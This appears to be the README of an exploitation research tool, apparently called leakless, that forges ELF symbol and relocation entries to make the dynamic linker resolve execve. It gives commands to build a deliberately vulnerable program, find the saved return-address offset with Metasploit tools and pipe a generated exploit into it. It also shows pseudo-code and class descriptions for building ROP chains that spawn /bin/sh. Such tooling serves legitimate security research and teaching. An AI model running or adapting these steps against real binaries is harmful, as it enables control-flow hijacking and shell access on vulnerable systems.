How to test

  1. Build vuln.c

     gcc -fno-stack-protector vuln.c -o /tmp/vuln -m32 -O2
    
  2. Find the offset of the saved IP

     ruby19 "$METASPLOIT/tools/pattern_create.rb" 256 | /tmp/vuln
     dmesg | tail
     ruby19 "$METASPLOIT/tools/pattern_offset.rb" $SEGFAULT_IP
    
  3. Launch the attack with the desired parameter

     (python ./exploit.py /tmp/vuln --offset $OFFSET; echo ls) | /tmp/vuln
    

You can also just dump to a JSON file all the necessary information to perform the exploit:

python ./exploit.py /tmp/vuln --json

For debugging information, use the --debug parameter. For further information on the parameters use the --help parameter.

The CMake build system will compile vuln.c for x86 and x86-64 with different protections enabled. There's also a CTest testsuite which has been tested using the ld.gold linker and GCC 4.8.4. Different toolchains might require minor adjustments.

To launch it just run:

mkdir leakless-build
cd leakless-build
cmake ../leakless
make
make test

The build system has also the length, json and ropl targets which, respectively, produce the length of the generated exploit for each supported configuration and the JSON and ropl version of the exploit.

make length
make json
make ropl

Basic idea

char *buffer = .bss;
char *new_stack = buffer + 1024;
int *rubbish = new_stack + 4;

strcpy(buffer, "execve");
*((int *) buffer) = 'exec';
*(((int *) buffer) + 1) = 've\0\0';
char *name = buffer;
buffer += strlen(buffer) + 1;

Elf32_Sym *symbol = (Elf32_Sym *) buffer;
symbol->st_name = name - .dynstr;
symbol->st_value = 0;
symbol->st_info = 0;
symbol->st_other = 0;
symbol->st_shndx = 0;
buffer += sizeof(*symbol);

Elf32_Rel *reloc = (Elf32_Rel *) buffer;
reloc->r_offset = rubbish++;
reloc->r_info = (R_386_JUMP_SLOT | (symbol - .dynsym) / sizeof(symbol));
buffer += sizeof(reloc):

pre_plt((reloc - .rel.plt) / sizeof(Elf32_Rel));

Helper classes

  • MemoryArea: data structure representing a part of memory, with its start address, its size, a reference to what its relative to (e.g. the MemoryArea where we'll write the relocation structure will be relative to the .rela.dyn section). MemoryArea also takes care of computing the appropriate index (MemoryArea.index) relative to the specified part of memory.
  • Buffer: data structure holding information about a buffer where we want to write to things. Typically this will represent to .bss. Buffer also keeps track of what part of it has already been allocated (Buffer.current points to the next free location) and allows to allocate new MemoryAreas with the appropriate alignement.

Exploit-derived classes

  • Exploit: the base class, contains all the architecture- and platform-independent parts of the exploit. It keeps the list of the gadgets, it takes care of collecting all the interesting information about the program from the ELF file and abstracting some utility and memory-related functions (e.g. write_pointer and write_string) which rely on the abstract do_writemem function (which is platform- and program-dependent). Finally, in jump_to, contains the core logic for setting up the necessary data structures in the buffers.
  • CommonGadgetsExploit: inherits from Exploit and introduces architecture-dependent parts, in particular gadgets and function-invocation logic.
  • ExecveExploit: very simple class implementing the logic to launch an execve, so write a NULL pointer, a "/bin/sh\0" and explicitly look for execve. Finally invoke it.
  • RawDumperExploit: exploit useful to just collect the information necessary to perform the attack without actually generating the ROP chain. RawDumperExploit.jump_to will return as first result an array of tuples (address, what_to_write_there), which, for instance, are used to implement the --json parameter.
